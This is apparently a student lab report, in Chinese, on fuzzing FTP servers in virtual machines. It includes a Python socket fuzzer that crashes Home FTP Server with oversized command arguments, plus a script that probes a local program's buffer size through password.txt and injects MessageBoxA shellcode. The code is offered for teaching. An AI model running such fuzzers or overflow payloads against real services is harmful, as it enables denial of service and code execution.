实验4:fuzz

1. 实验目标

  • 了解fuzz的基本原理。
  • 通过FtpFuzz来fuzz easy ftp server的服务器,使服务器停止工作。
  • 自己编写或修改Python脚本来自己编写FTP FUZZ简单工具,并用其来对Home Ftp Server进行Fuzz,使服务器停止工作,可以用OllyDbg附加查看异常。

2. 实验要求

  • 详述跟踪调试过程。
  • 实验结果需要截图证明。
  • 绘出程序运行的结构图,以及修改原理的图示(通过程序运行的结构图)。
  • 提交生成的畸形文件,fuzz程序源代码等文件。

3. 测试步骤与结果

3.1 利用FTPStress Fuzzer程序进行FTPFUZZ

  1. 在Winxp虚拟机上利用Quick’n Easy FTP server搭建服务器,双击打开FTPServer.exe

    设置开放匿名用户。

    填写FTP的根目录页面地址。

    设置权限,只需要开启下载权限即可。

    点击下一步完成搭建过程。

  2. 在Win7虚拟机上运行Infigo FTPStress Fuzzer程序,进行服务器的FUZZ。打开ftpfuzz.exe文件。

            在左边框右键选择Deselect All,在USER和PASS选项中的Command Argument中填入anonymous,在LIST选项中勾选fuzz this ftp command选项,需要注意点击update change

  3. 设置脏数据。点击config菜单,然后选中Fuzzing data选项卡,这里面我们就可以设定我们要设置的脏数据,我们先只选择..?这一项即可,之后点击updatechange进行保存。

  4. 设置并保存号,填写FTP主机的IP地址,点击start即可开始fuzz了。

    如下图,红字的部分说明了已经fuzz成功了,FTP服务器已经因为脏数据而崩溃。

  5. 查看FTP主机情况,发现服务崩溃,说明fuzz生效。

3.2 编写Python脚本进行FTPFUZZ

  1. 打开Home FTP Server程序。

  2. 点击New Member创建新成员,填入相关信息:User name: LLrber; Password: LLrber,并按照要求填入帐号密码文件夹地址和权限等相关参数。

  3. 然后点击start server,左下角提示running表示服务器已经开始运行。

  4. 查看实验所给的fuzz.py文件,自己通过改编而成Fuzz工具,因为Win7虚拟机未搭建python环境,由此以Win7作为服务器,Winxp作为攻击者来进行实验。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    import socket,sys
    def ftp_test(ip,port1,usr,pwd):
    target = ip
    port = port1
    buf = 'a'*272
    j=1
    fuzzcmd = ['mdelete ','cd ','mkdir ','delete ','cwd ','mdir ','mput ','mls ','rename ','site index ']
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
    connct = s.connect((target,port))
    print "[+] Connected!"
    except:
    print "[!] Connection Failed!"
    sys.exit(0)
    s.recv(1024)
    s.send('USER %s\r\n'%usr)
    s.recv(1024)
    s.send('PASS %s\r\n'%pwd)
    s.recv(1024)
    print "[+] Sending payload..."
    for i in fuzzcmd:
    s.send(i + buf*j + '\r\n')
    s.send(i + buf*j*4 + '\r\n')
    s.send(i + buf*j*8 + '\r\n')
    s.send(i + buf*j*40 + '\r\n')
    try:
    s.recv(1024)
    print "[!] Fuzz failed!"
    except:
    print "[+] Maybe we find a bug!"

    if __name__ == '__main__':
    ftp_test("192.168.223.138",21,"LLrber","LLrber")

            可以看到运行结果如下,发现很多次失败的情况,其实回去观察服务器情况可以发现是Fuzz已经成功导致服务已经关停。

4. 测试结论

        使用现成的fuzz攻击程序对目标主机进行fuzz攻击,可以使得FTP服务器崩溃;通过编写的fuzz源代码,也可以通过连接目标主机并发送脏数据包实现fuzz攻击,达到让目标服务器崩溃的效果,通过ollydbg分析该过程时,只能找到程序崩溃的位置,并没有找到程序崩溃的原因,虽然理论上是重复插入了相同的数据导致FTP服务器异常。

5. 思考题

        开发一个针对文件溢出的目标程序的fuzz程序,使目标程序崩溃。要求生成攻击测试文件并通过程序自动加载,并确定从哪个文件开始出现程序崩溃,给出被攻击缓冲区实际大小,并植入一个shellcode(功能不限)。

  1. overflow_exe.ext文件拖入IDA中,反汇编得到反汇编代码。

            可以看到其程序读取了password.txt文件夹中的内容,并调用函数与实际设置的密码进行对比。若密码一致,则输出Congratulation! You have passed the verification!,若不一致则输出incorrect password!

  2. 运行程序并更改password.txt文档中的内容进行验证。

  3. 编写源代码,计算缓冲区的大小。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    #coding=UTF-8 
    import os

    rpwd = "Congratulation! You have passed the verification!\n"
    wpwd = "incorrect password!\n"

    i = 1
    while i < 100:
    fp = open("password.txt","w+")
    fp.write("aaaa"*i*100)
    fp.close()
    p = os.popen("overflow_exe.exe")
    text = p.readlines()
    string = "".join(text)
    if string == rpwd or string == wpwd:
    i+=1
    else:
    break

    print "%d"%(i*4*100)

    j = 1
    while j < 100:
    fp = open("password.txt","w+")
    fp.write("aaaa"*(i-1)*100+"aaaa"*j*10)
    fp.close()
    p = os.popen("overflow_exe.exe")
    text = p.readlines()
    string = "".join(text)
    if string == rpwd or string == wpwd:
    j+=1
    else:
    break

    print "%d"%((i-1)*4*100+j*4*10)

    t = 1
    while t < 100:
    fp = open("password.txt","w+")
    fp.write("aaaa"*(i-1)*100+"aaaa"*(j-1)*10+"a"*t)
    fp.close()
    p = os.popen("overflow_exe.exe")
    text = p.readlines()
    string = "".join(text)
    if string == rpwd or string == wpwd:
    t+=1
    else:
    break

    print "%d"%((i-1)*4*100+(j-1)*4*10+t)

            通过上述代码对缓冲区大小进行检测,其主要是通过逼近缓冲区的大小来试探出具体数值。当然也可以通过IDA申请的空间计算器缓冲区大小为0x2EA4=11940。

  4. 编写shellcode来实现调取MessageBoxA,根据上一次实验三编写的shellcode。

    1
    2
    3
    4
    5
    shellcode = "\x33\xDB\x53\x68\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x80\xFA\x22\x00"
    fp = open("password.txt","w+")
    fp.write("aaaa"*(i-1)*100 + "aaaa"*(j-1)*10 + "a"*t + "a"*3 + shellcode)
    fp.close()
    p = os.popen("overflow_exe.exe")

    运行可以看到弹出了消息框窗口。